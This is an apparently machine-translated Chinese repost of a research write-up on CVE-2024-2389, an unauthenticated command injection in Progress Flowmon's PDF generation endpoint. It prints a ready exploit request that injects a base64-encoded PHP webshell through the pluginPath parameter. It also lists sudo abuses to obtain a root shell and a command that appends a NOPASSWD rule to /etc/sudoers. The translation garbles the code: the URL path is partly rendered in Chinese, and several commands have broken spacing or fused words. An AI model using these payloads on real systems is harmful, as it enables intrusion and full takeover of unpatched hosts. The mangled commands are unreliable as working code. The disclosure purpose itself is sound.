CVE-2024-2389 未经身份验证的命令注入

发布于:2024-04-28 ⋅ 阅读:(27) ⋅ 点赞:(0)

未经身份验证的路由

我们开始枚举“AllowedModulesDecider.php”文件中未经身份验证的端点,该文件是一个在 Progress Flowmon 中描述模块访问的组件。它包含“ALLOWED_TO_UNLOGGED_USERS”数组,定义无需身份验证即可访问的模块。浏览列表中允许的模块的代码后,“Service:Pdfs:Confluence”脱颖而出,其中包含一些与生成 PDF 相关的有趣代码。该模块在Nette框架中的路径是“/service.pdfs/confluence”。

此图显示了在AllowedModulesDecider.php 中定义为ALLOWED_TO_UNLOGGED_USER(未经身份验证的用户)的模块。

追踪 PDF 生成功能

重点关注“Service:Pdfs:Confluence”模块,我们发现它与服务的 PDF 生成功能相关联。具体来说,该过程在“ConfluencePresenter.php”中处理,它处理传入请求并将操作委托给“PdfGenerator.generate()”。

ConfluencePresenter.php 的默认操作直接从用户输入获取参数pluginPath、区域设置和文件[1]。然后,这些输入用于构造 URL 和文件输出字符串 [2, 3],然后将其作为设置传递给 pdfGenerator.generate()。

命令注入缺陷

在“PdfGenerator.php”中,generate()方法[1]只是调用getExec.run()[2]方法的包装器,该方法执行系统命令。

组装的命令字符串作为第一个参数传递给 run() 方法 [2]。

应该注意的是,run() 方法还接受第二个参数,它是一个参数数组,将使用 escapeshellarg() 将其括在引号中,以防止命令注入。如果参数作为 run() 的第二个参数中的数组,则不太可能被利用,因为数组中的每个项目都被视为参数,并在调用 assembleCommand() 时通过 escapeshellarg() 传递。
但在这种情况下,命令作为单个字符串传入,然后直接传递给 exec() [1]。这样,就可以使用 shell 控制字符转义命令,并执行任意命令。

开发

通过使用命令替换、$() 或“操纵pluginPath 或文件参数来嵌入恶意命令,可以突破预期命令并执行任意命令。该命令是盲目执行的,因此无法看到执行命令的输出,但可以将 webshel​​l 写入 /var/www/shtml/。
向以下路径发出请求:

/service.pdfs/汇合文件=用户指南& lang = x & pluginPath = $ ( echo + PD9waHAgaWYoaXNzZXQoJF9HRVRbJ2NtZCddKSl7c3lzdGVtKCRfR0VUWydjbWQnXSk7fT8 % 2b +|+ base64 + -d + > /var / www / shtml / rce.php )

将导致 webshel​​l 被写入“/rce.php”。

权限提升至root

一旦实现命令执行,应用程序将以“flowmon”用户身份运行,因此命令将以该用户身份执行。 flowmon 用户可以使用 sudo 运行多个命令,并且其中多个命令可以被滥用来获取 root shell。

以下方法需要交互式 shell。一些方法来自https://gtfobins.github.io/。 

 

# ip 命令:
sudo ip netns add foo 
sudo ip netns exec foo / bin / ln -s / proc / 1 / ns / net / var / run / netns / bar 
sudo ip netns exec bar / bin / bash 
sudo ip netns delete foo 
sudo ip netns delete bar # 滥用 timedatectl 命令:
sudo timedatectl list - timezones
 ! /bin/ bash #滥用journalctl 
sudojournalctl /bin/ bash





此外,还可以滥用 sudo 权限来执行 PHP 代码:

# 覆盖并执行 PHP。这将允许 flowmon 用户使用 sudo 权限执行任何命令。
cp / var / www / shtml / index php / tmp /索引. php . bak 
echo '<?php system("echo \"ADMINS ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers"); ?>' > /var/ www / shtml / index php 
sudo /usr/bin/php/var/www/shtml/index.phpphp Cli \: AddNewSource s 
cp / tmp / index . php . bak / var / www / shtml /索引php  

概念验证

我们在CVE GitHub 存储库中创建了概念验证漏洞利用。我们还创建了一个 Metasploit 模块,目前正在合并到主项目中,但该模块本身也可以在 CVE 存储库中找到。

结论和建议

这一探索不仅暴露了 Progress Flowmon 中的特定漏洞,而且还强调了在保护应用程序方面严格的验证和身份验证机制的必要性。当我们与 Progress 合作加强他们的防御时,这个实例集中体现了网络安全警戒领域正在进行的猫鼠游戏。

最后,我们邀请读者仔细阅读 GitHub 上的其他资源和概念验证演示。通过我们的各种渠道随时了解情况并与我们互动,以获得对网络安全领域的更多见解。


网站公告

今日签到

点亮在社区的每一天
去签到